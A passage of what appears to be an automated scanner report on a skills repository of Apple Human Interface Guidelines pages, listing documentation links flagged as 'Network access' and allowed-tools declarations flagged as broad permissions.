    --- title: "Charts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/charts
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/charts
  • Network accessline 9
    ![A stylized representation of a bar chart. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/e60ec631128010abf4cf09793552a20a/components-charts-intro%
  • Network accessline 22
    To learn about designing charts to enhance your experience, see [Charting data](https://developer.apple.com/design/human-interface-guidelines/charting-data); for developer guidance, see [Creating a chart using Swift Charts](https://develope
  • Network accessline 24
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/charts#Anatomy)
  • Network accessline 28
    ![A bar chart with callouts that identify chart components, such as axes, grid lines, marks, ticks, axis value labels, and the overall plot area.](https://docs-assets.developer.apple.com/published/3435cdf95a0a1c5faeeb347ccd4915d4/charts-ana
  • Network accessline 30
    A _mark_ is a visual representation of a data value. You create a chart by supplying one or more series of data values, assigning each value to a mark. To specify the style of chart you want to display — such as bar chart, line chart, or sc
  • Network accessline 42
    Clear, accurate descriptions can help make a chart more approachable and accessible; to learn about additional ways to improve the accessibility of your chart, see [Enhancing the accessibility of a chart](https://developer.apple.com/design/
  • Network accessline 44
    ## [Marks](https://developer.apple.com/design/human-interface-guidelines/charts#Marks)
  • Network accessline 46
    **Choose a mark type based on the information you want to communicate about the data.** Some of the most familiar mark types are bar, line, and point; for developer guidance on these and other mark types, see [Swift Charts](https://develope
  • Network accessline 50
    ![A bar chart that depicts the number of steps for each day in a month.](https://docs-assets.developer.apple.com/published/69afb0247060876d7c148529bb6770ef/charts-bar-marks%402x.png)
  • Network accessline 54
    ![A line chart that depicts the performance of a stock over a five-year period.](https://docs-assets.developer.apple.com/published/a242ab0dd33e91b2928163ac76839aae/charts-line-marks%402x.png)
  • Network accessline 58
    ![A point-mark chart that depicts per-day readings of heartbeats per minute over a 5 1/2-month period.](https://docs-assets.developer.apple.com/published/e425cf9c73689456ffe358c15a2db34c/charts-point-marks%402x.png)
  • Network accessline 62
    ## [Axes](https://developer.apple.com/design/human-interface-guidelines/charts#Axes)
  • Network accessline 66
    ![An illustration of Battery Settings, which uses a chart to depict battery charge over time, where the charge can vary within a fixed range from 0% to 100%.](https://docs-assets.developer.apple.com/published/77814deac13d3c51e09eb47c57e690f
  • Network accessline 70
    ![An illustration of the Steps chart in the Health app, which shows the average number of steps per day for a single week.](https://docs-assets.developer.apple.com/published/ba6263f9c8e9b9afef93349f20cbdde7/charts-dynamic-range-axis-small%4
  • Network accessline 72
    ![An illustration of the Steps chart in the Health app, which shows the average number of steps per day in a one-month period.](https://docs-assets.developer.apple.com/published/de535d589204fce38a55acfb5c869c3e/charts-dynamic-range-axis-lar
  • Network accessline 80
    ## [Descriptive content](https://developer.apple.com/design/human-interface-guidelines/charts#Descriptive-content)
  • Network accessline 86
    ![An illustration of the rain forecast for the next hour in the Weather app, which uses succinct, plain language to describe the expected precipitation.](https://docs-assets.developer.apple.com/published/28ee38d191d2f9816ded3e735bfee4a7/cha
  • Network accessline 88
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/charts#Best-practices)
  • Network accessline 94
    **Make every chart in your app accessible.** Charts — like all infographics — need to be fully accessible to everyone, regardless of how they perceive content. For example, it’s essential to support VoiceOver, which describes onscreen conte
  • Network accessline 100
    **Make an interactive chart easy to navigate when using keyboard commands (including full keyboard access) or Switch Control.** By default, these input types tend to visit individual onscreen elements in a linear sequence, such as the seque
  • Network accessline 102
    **Help people notice important changes in a chart.** For example, if people don’t notice when marks or axes change, they can misread a chart. Animating such changes can help people notice them, but you need to highlight the changes in other
  • Network accessline 106
    ## [Color](https://developer.apple.com/design/human-interface-guidelines/charts#Color)
  • Network accessline 108
    As in all other parts of your interface, using color in a chart can help you clarify information, evoke your brand, and provide visual continuity. For general guidance on using color in ways that everyone can appreciate, see [Inclusive colo
  • Network accessline 112
    ![An illustration of a blood pressure chart in the Health app that uses a red circle to represent systolic values and a black or white diamond to represent diastolic values.](https://docs-assets.developer.apple.com/published/47d2a6b70d030b1
  • Network accessline 116
    ![An illustration of iPhone Storage Settings, which uses a single bar mark containing several segments of different colors to show the relative space taken by items such as music, apps, and photos. The bar includes a narrow strip of empty s
  • Network accessline 118
    ## [Enhancing the accessibility of a chart](https://developer.apple.com/design/human-interface-guidelines/charts#Enhancing-the-accessibility-of-a-chart)
  • Network accessline 120
    When you use Swift Charts to create a chart, you get a default implementation of [Audio graphs](https://developer.apple.com/documentation/Accessibility/audio-graphs), in addition to a default accessibility element for each mark (or group of
  • Network accessline 130
    ![An illustration of a chart in Maps that shows the range of elevations over the total distance of the trip. A VoiceOver focus indicator is visible on top of the chart, containing approximately one-fifth of the total distance and elevation.
  • Network accessline 149
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/charts#Platform-considerations)
  • Network accessline 153
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/charts#watchOS)
  • Network accessline 157
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/charts#Resources)
  • Network accessline 159
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/charts#Related)
  • Network accessline 161
    [Charting data](https://developer.apple.com/design/human-interface-guidelines/charting-data)
  • Network accessline 163
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/charts#Developer-documentation)
  • Network accessline 165
    [Swift Charts](https://developer.apple.com/documentation/Charts)
  • Network accessline 167
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/charts#Videos)
  • Network accessline 169
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/89D5888B-58DA-4F47-8E3C-998253F6BA98/9954_wide_250x141_1x.jpg) Bring Swift Charts to the third dimension ](https://developer.apple.com/videos/pla
  • Network accessline 171
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/FA764D2D-4E15-4E91-91BA-BDAC80FB901B/6694_wide_250x141_1x.jpg) Design app experiences with charts ](https://developer.apple.com/videos/play/wwdc2022/110342)
  • Network accessline 173
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/4BBCB61E-65ED-43FE-8F7B-81524E0C96BE/6692_wide_250x141_1x.jpg) Design an effective chart ](https://developer.apple.com/videos/play/wwdc2022/110340)
  • Network accessline 175
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/charts#Change-log)

skills/hig-components-content/references/collections.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Collections | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/collections
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/collections
  • Network accessline 9
    ![A stylized representation of eight image icons, separated into two rows of four. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/8769a85042888c4d64
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/collections#Best-practices)
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/collections#Platform-considerations)
  • Network accessline 29
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/collections#iOS-iPadOS)
  • Network accessline 33
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/collections#Resources)
  • Network accessline 35
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/collections#Related)
  • Network accessline 37
    [Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables)
  • Network accessline 39
    [Image views](https://developer.apple.com/design/human-interface-guidelines/image-views)
  • Network accessline 41
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 43
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/collections#Developer-documentation)
  • Network accessline 45
    [`UICollectionView`](https://developer.apple.com/documentation/UIKit/UICollectionView) — UIKit
  • Network accessline 47
    [`NSCollectionView`](https://developer.apple.com/documentation/AppKit/NSCollectionView) — AppKit

skills/hig-components-content/references/color-wells.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Color wells | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/color-wells
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/color-wells
  • Network accessline 9
    ![A stylized representation of a color-selection popover extending down from an expanded button. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/8ed8
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/color-wells#Best-practices)
  • Network accessline 17
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/color-wells#Platform-considerations)
  • Network accessline 21
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/color-wells#macOS)
  • Network accessline 27
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/color-wells#Resources)
  • Network accessline 29
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/color-wells#Related)
  • Network accessline 31
    [Color](https://developer.apple.com/design/human-interface-guidelines/color)
  • Network accessline 33
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/color-wells#Developer-documentation)
  • Network accessline 35
    [`UIColorWell`](https://developer.apple.com/documentation/UIKit/UIColorWell) — UIKit
  • Network accessline 37
    [`UIColorPickerViewController`](https://developer.apple.com/documentation/UIKit/UIColorPickerViewController) — UIKit
  • Network accessline 39
    [`NSColorWell`](https://developer.apple.com/documentation/AppKit/NSColorWell) — AppKit
  • Network accessline 41
    [Color Programming Topics](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/DrawColor/DrawColor.html)

skills/hig-components-content/references/image-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Image views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/image-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/image-views
  • Network accessline 9
    ![A stylized representation of a photo. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/75a4736b08754bbd37dad68ddd0048b9/components-image-view-intro%
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/image-views#Best-practices)
  • Network accessline 15
    **Use an image view when the primary purpose of the view is simply to display an image.** In rare cases where you might want an image to be interactive, configure a system-provided [button](https://developer.apple.com/design/human-interface
  • Network accessline 17
    **If you want to display an icon in your interface, consider using a symbol or interface icon instead of an image view.** [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a large library of str
  • Network accessline 19
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/image-views#Content)
  • Network accessline 21
    An image view can contain rich image data in various formats, like PNG, JPEG, and PDF. For more guidance, see [Images](https://developer.apple.com/design/human-interface-guidelines/images).
  • Network accessline 27
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/image-views#Platform-considerations)
  • Network accessline 31
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/image-views#macOS)
  • Network accessline 33
    **If your app needs an editable image view, use an image well.** An [image well](https://developer.apple.com/design/human-interface-guidelines/image-wells) is an image view that supports copying, pasting, dragging, and using the Delete key 
  • Network accessline 35
    **Use an image button instead of an image view to make a clickable image.** An [image button](https://developer.apple.com/design/human-interface-guidelines/buttons#Image-buttons) contains an image or icon, appears in a view, and initiates a
  • Network accessline 37
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/image-views#tvOS)
  • Network accessline 39
    Many tvOS images combine multiple layers with transparency to create a feeling of depth. For guidance, see [Layered images](https://developer.apple.com/design/human-interface-guidelines/images#Layered-images).
  • Network accessline 41
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/image-views#visionOS)
  • Network accessline 43
    Windows in visionOS apps and games can use image views to display 2D and stereoscopic images, as well as spatial photos. If your app uses RealityKit, you can also display images of any type outside of image views next to 3D content, or gene
  • Network accessline 45
    For guidance on presenting other 3D content in a window or volume, see [Windows > visionOS](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS).
  • Network accessline 47
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/image-views#watchOS)
  • Network accessline 49
    **Use SwiftUI to create animations when possible.** Alternatively, you can use WatchKit to animate a sequence of images within an image element if necessary. For developer guidance, see [`WKImageAnimatable`](https://developer.apple.com/docu
  • Network accessline 51
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/image-views#Resources)
  • Network accessline 53
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/image-views#Related)
  • Network accessline 55
    [Images](https://developer.apple.com/design/human-interface-guidelines/images)
  • Network accessline 57
    [Image wells](https://developer.apple.com/design/human-interface-guidelines/image-wells)
  • Network accessline 59
    [Image buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Image-buttons)
  • Network accessline 61
    [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols)
  • Network accessline 63
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/image-views#Developer-documentation)
  • Network accessline 65
    [`Image`](https://developer.apple.com/documentation/SwiftUI/Image) — SwiftUI
  • Network accessline 67
    [`UIImageView`](https://developer.apple.com/documentation/UIKit/UIImageView) — UIKit
  • Network accessline 69
    [`NSImageView`](https://developer.apple.com/documentation/AppKit/NSImageView) — AppKit
  • Network accessline 71
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/image-views#Videos)
  • Network accessline 73
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/8226C70F-64DC-4FF1-9956-2DC0751A2143/8241_wide_250x141_1x.jpg) Support HDR images in your app ](https://developer.apple.com/videos/play/wwdc2023/
  • Network accessline 75
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/5A5D0136-1D36-4754-9603-E9C2B459ECB7/4887_wide_250x141_1x.jpg) Add rich graphics to your SwiftUI app ](https://developer.apple.com/videos/play/wwdc2021/10021)
  • Network accessline 77
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/image-views#Change-log)

skills/hig-components-content/references/image-wells.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Image wells | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/image-wells
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/image-wells
  • Network accessline 9
    ![A stylized representation of an image well. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/101ad769eaeccadb3758ca0b05a4fc5b/components-image-well-
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/image-wells#Best-practices)
  • Network accessline 17
    **If your image well supports copy and paste, make sure the standard copy and paste menu items are available.** People generally expect to choose these menu items — or use the standard keyboard shortcuts — to interact with an image well. Fo
  • Network accessline 19
    For related guidance, see [Image views](https://developer.apple.com/design/human-interface-guidelines/image-views).
  • Network accessline 21
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/image-wells#Platform-considerations)
  • Network accessline 25
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/image-wells#Resources)
  • Network accessline 27
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/image-wells#Related)
  • Network accessline 29
    [Image views](https://developer.apple.com/design/human-interface-guidelines/image-views)
  • Network accessline 31
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/image-wells#Developer-documentation)
  • Network accessline 33
    [`NSImageView`](https://developer.apple.com/documentation/AppKit/NSImageView) — AppKit

skills/hig-components-content/references/lockups.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Lockups | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/lockups
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/lockups
  • Network accessline 9
    ![A stylized representation of a person icon above a line of headline text and a line of footnote text. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/publish
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/lockups#Best-practices)
  • Network accessline 17
    **Allow adequate space between lockups.** A focused lockup expands in size, so leave enough room between lockups to avoid overlapping or displacing other lockups. For guidance, see [Layout](https://developer.apple.com/design/human-interface
  • Network accessline 19
    ![An illustration showing three rows of five equally spaced lockups. In each row, the middle lockup is in focus and slightly larger than the others.](https://docs-assets.developer.apple.com/published/67a6f9b8d570939f21cd6af73ce21032/lockups
  • Network accessline 23
    For developer guidance, see [`TVLockupView`](https://developer.apple.com/documentation/TVUIKit/TVLockupView) and [`TVLockupHeaderFooterView`](https://developer.apple.com/documentation/TVUIKit/TVLockupHeaderFooterView).
  • Network accessline 25
    ## [Cards](https://developer.apple.com/design/human-interface-guidelines/lockups#Cards)
  • Network accessline 29
    ![An illustration of an Apple TV screen that contains several cards, one of which is highlighted. Inside the highlighted card from the top, placeholder content shows the position of a rating and multiple lines of text.](https://docs-assets.
  • Network accessline 31
    For developer guidance, see [`TVCardView`](https://developer.apple.com/documentation/TVUIKit/TVCardView).
  • Network accessline 33
    ## [Caption buttons](https://developer.apple.com/design/human-interface-guidelines/lockups#Caption-buttons)
  • Network accessline 39
    ![An illustration of an Apple TV screen highlighted to show four caption buttons in a row. The leftmost button is focused, making it expand slightly and appear to float above the background.](https://docs-assets.developer.apple.com/publishe
  • Network accessline 41
    For developer guidance, see [`TVCaptionButtonView`](https://developer.apple.com/documentation/TVUIKit/TVCaptionButtonView).
  • Network accessline 43
    ## [Monograms](https://developer.apple.com/design/human-interface-guidelines/lockups#Monograms)
  • Network accessline 49
    ![An illustration of an Apple TV screen that contains a row of several monograms, of which the leftmost one is highlighted. Each monogram contains the person symbol. Below each monogram is placeholder content that represents two lines of te
  • Network accessline 51
    For developer guidance, see [`TVMonogramContentView`](https://developer.apple.com/documentation/TVUIKit/TVMonogramContentView).
  • Network accessline 53
    ## [Posters](https://developer.apple.com/design/human-interface-guidelines/lockups#Posters)
  • Network accessline 55
    Posters consist of an image and an optional title and subtitle, which are hidden until the poster comes into focus. Posters can be any size, but the size needs to be appropriate for their content. For related guidance, see [Image views](htt
  • Network accessline 57
    ![An illustration of an Apple TV screen that shows a row of several posters near the bottom edge. One poster is focused and below it is placeholder content that represents a line of text.](https://docs-assets.developer.apple.com/published/b
  • Network accessline 59
    For developer guidance, see [`TVPosterView`](https://developer.apple.com/documentation/TVUIKit/TVPosterView).
  • Network accessline 61
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/lockups#Platform-considerations)
  • Network accessline 65
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/lockups#Resources)
  • Network accessline 67
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/lockups#Related)
  • Network accessline 69
    [Designing for tvOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos)
  • Network accessline 71
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 73
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/lockups#Developer-documentation)
  • Network accessline 75
    [`TVLockupView`](https://developer.apple.com/documentation/TVUIKit/TVLockupView) — TVUIKit
  • Network accessline 77
    [`TVLockupHeaderFooterView`](https://developer.apple.com/documentation/TVUIKit/TVLockupHeaderFooterView) — TVUIKit

skills/hig-components-content/references/web-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Web views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/web-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/web-views
  • Network accessline 9
    ![A stylized representation of a compass icon. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/ae2c2f04ee2e04730e29b26e7e9bff19/components-web-view-i
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/web-views#Best-practices)
  • Network accessline 19
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/web-views#Platform-considerations)
  • Network accessline 23
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/web-views#Resources)
  • Network accessline 25
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/web-views#Related)
  • Network accessline 27
    [Webkit.org](https://webkit.org/)
  • Network accessline 29
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/web-views#Developer-documentation)
  • Network accessline 31
    [`WKWebView`](https://developer.apple.com/documentation/WebKit/WKWebView) — WebKit
  • Network accessline 33
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/web-views#Videos)
  • Network accessline 35
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/8A0A5E12-9D2C-4629-A13C-8EB702A9DA28/4920_wide_250x141_1x.jpg) Explore WKWebView additions ](https://developer.apple.com/videos/play/wwdc2021/10032)

skills/hig-components-controls/SKILL.md

  • Network accessline 90
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-components-controls/references/combo-boxes.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Combo boxes | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/combo-boxes
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/combo-boxes
  • Network accessline 9
    ![A stylized representation of a combo box control displaying a list of cities. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/8f828536eb509b9cd0235
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Best-practices)
  • Network accessline 17
    **Use an introductory label to let people know what types of items to expect.** Generally, use title-style capitalization for labels and end them with a colon. For related guidance, see [Labels](https://developer.apple.com/design/human-inte
  • Network accessline 23
    For guidance, see [Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) and [Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons).
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Platform-considerations)
  • Network accessline 29
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Resources)
  • Network accessline 31
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Related)
  • Network accessline 33
    [Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields)
  • Network accessline 35
    [Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons)
  • Network accessline 37
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Developer-documentation)
  • Network accessline 39
    [`NSComboBox`](https://developer.apple.com/documentation/AppKit/NSComboBox) — AppKit

skills/hig-components-controls/references/controls.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/controls
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/controls
  • Network accessline 9
    ![A partial screenshot of controls in Control Center, such as the Airplane Mode toggle, Wi-Fi toggle, and AirPlay button. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer
  • Network accessline 11
    A control is a button or toggle that provides quick access to your app’s features from other areas of the system. Control buttons perform an action, link to a specific area of your app, or launch a [camera experience on a locked device](htt
  • Network accessline 15
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/controls#Anatomy)
  • Network accessline 17
    Controls contain a symbol image, a title, and, optionally, a value. The symbol visually represents what the control does and can be a symbol from [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) or a cu
  • Network accessline 19
    ![A diagram showing the placement of the symbol image, the title, and the value for a control toggle.](https://docs-assets.developer.apple.com/published/df1b5eb2796a6452c640b746948df228/control-medium-anatomy%402x.png)
  • Network accessline 32
    ![A partial screenshot of Control Center on iPhone, highlighting that the Silent mode control is active, with a symbol of a bell with a line drawn through it and red tint.](https://docs-assets.developer.apple.com/published/01a84972ab485b0b3
  • Network accessline 36
    ![A partial screenshot of the bottom of the Lock Screen on iPhone, highlighting that the Silent mode control is active on the right, with a symbol of a bell with a line drawn through it and red tint.](https://docs-assets.developer.apple.com
  • Network accessline 40
    ![A partial screenshot that displays the Dynamic Island at the top of the Home Screen on iPhone, showing that the Silent mode control is active with a red tinted symbol of a bell with a line drawn through it in the leading area and red tint
  • Network accessline 45
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/controls#Best-practices)
  • Network accessline 47
    **Offer controls for actions that provide the most benefit without having to launch your app.** For example, launching a Live Activity from a control creates an easy and seamless experience that informs someone about progress without having
  • Network accessline 51
    **Choose a descriptive symbol that suggests the behavior of the control.** Depending on where a person adds a control, it may not display the title and value, so the symbol needs to convey enough information about the control’s action. For 
  • Network accessline 53
    **Use symbol animations to highlight state changes.** For control toggles, animate the transition between both on and off states. For control buttons with actions that have a duration, animate indefinitely while the action performs and stop
  • Network accessline 55
    **Select a tint color that works with your app’s brand.** The system applies this tint color to a control toggle’s symbol in its on state. When a person performs the action of a control from the Action button, the system also uses this tint
  • Network accessline 57
    ![An inactive control toggle with a light bulb symbol that isn't tinted.](https://docs-assets.developer.apple.com/published/858a6c878e81223350b2c6175e7edc8d/control-lightbulb-not-tinted%402x.png)Nontinted control toggle in the off state
  • Network accessline 59
    ![An active control toggle with a light bulb symbol that's tinted yellow.](https://docs-assets.developer.apple.com/published/6beab4a3187d3a10493645eaf5447811/control-lightbulb-tinted%402x.png)Tinted control toggle in the on state
  • Network accessline 61
    **Help people provide additional information the system needs to perform an action.** A person may need to configure a control to perform a desired action — for example, select a specific light in a house to turn on and off. If a control re
  • Network accessline 63
    ![A representation of a control with the ability to set an option to a value a person chooses.](https://docs-assets.developer.apple.com/published/2862099d2344c5c6576a3c4503b0c0b4/control-configuration-options%402x.png)
  • Network accessline 65
    **Provide hint text for the Action button.** When a person presses the Action button, the system displays hint text to help them understand what happens when they press and hold. When someone presses and holds the Action button, the system 
  • Network accessline 67
    ![A partial screenshot of the Home Screen on iPhone that displays hint text for the Action button. The hint text is Hold for Silent.](https://docs-assets.developer.apple.com/published/530aa049e2d419ed4af0e3e4a0fb812e/controls-action-button-
  • Network accessline 69
    ![A partial screenshot of the Home Screen on iPhone that displays hint text for the Action button. The hint text is Hold for Ring.](https://docs-assets.developer.apple.com/published/8058fe453e9c21c3654f7917f533a70a/controls-action-button-co
  • Network accessline 75
    ![A medium-size control toggle displaying a symbol of a light bulb, a title, and value text.](https://docs-assets.developer.apple.com/published/3239b45e3faff12f7e0c8faad57ac4da/control-regular-text%402x.png)Control toggle with no informatio
  • Network accessline 77
    ![A medium-size control toggle with redacted text.](https://docs-assets.developer.apple.com/published/60fdc68e4ffd056e2ced9b7c49ed6730/control-redacted-text%402x.png)Control toggle with information hidden on a locked device
  • Network accessline 79
    **Require authentication for actions that affect security.** For example, require people to unlock their device to access controls to lock or unlock the door to their house or start their car. For developer guidance, see [`IntentAuthenticat
  • Network accessline 81
    ## [Camera experiences on a locked device](https://developer.apple.com/design/human-interface-guidelines/controls#Camera-experiences-on-a-locked-device)
  • Network accessline 83
    If your app supports camera capture, starting with iOS 18 you can create a control that launches directly to your app’s camera experience while the device is locked. For any task beyond capture, a person must authenticate and unlock their d
  • Network accessline 89
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/controls#Platform-considerations)
  • Network accessline 93
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/controls#Resources)
  • Network accessline 95
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/controls#Related)
  • Network accessline 97
    [Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets)
  • Network accessline 99
    [Action button](https://developer.apple.com/design/human-interface-guidelines/action-button)
  • Network accessline 101
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/controls#Developer-documentation)
  • Network accessline 103
    [LockedCameraCapture](https://developer.apple.com/documentation/LockedCameraCapture)
  • Network accessline 105
    [WidgetKit](https://developer.apple.com/documentation/WidgetKit)
  • Network accessline 107
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/controls#Change-log)

skills/hig-components-controls/references/gauges.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Gauges | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/gauges
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/gauges
  • Network accessline 9
    ![A stylized representation of a circular numeric gauge above a linear percentage gauge. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/f32c347212ea
  • Network accessline 13
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/gauges#Anatomy)
  • Network accessline 21
    In addition to gauges, macOS also supports level indicators, some of which have visual styles that are similar to gauges. For guidance, see [macOS](https://developer.apple.com/design/human-interface-guidelines/gauges#macOS).
  • Network accessline 23
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/gauges#Best-practices)
  • Network accessline 29
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/gauges#Platform-considerations)
  • Network accessline 33
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/gauges#macOS)
  • Network accessline 39
    ![An image of a continuous capacity indicator that uses the default green fill to indicate an amount of about two-thirds of the total capacity.](https://docs-assets.developer.apple.com/published/8d1f4b040b7736a1ba832b93a7dc3bfb/indicators-c
  • Network accessline 43
    ![An image of a discrete capacity indicator that uses the default green fill to indicate an amount of three-quarters of the total capacity.](https://docs-assets.developer.apple.com/published/f148e7934177391449aa61cc97ffea49/indicators-discr
  • Network accessline 51
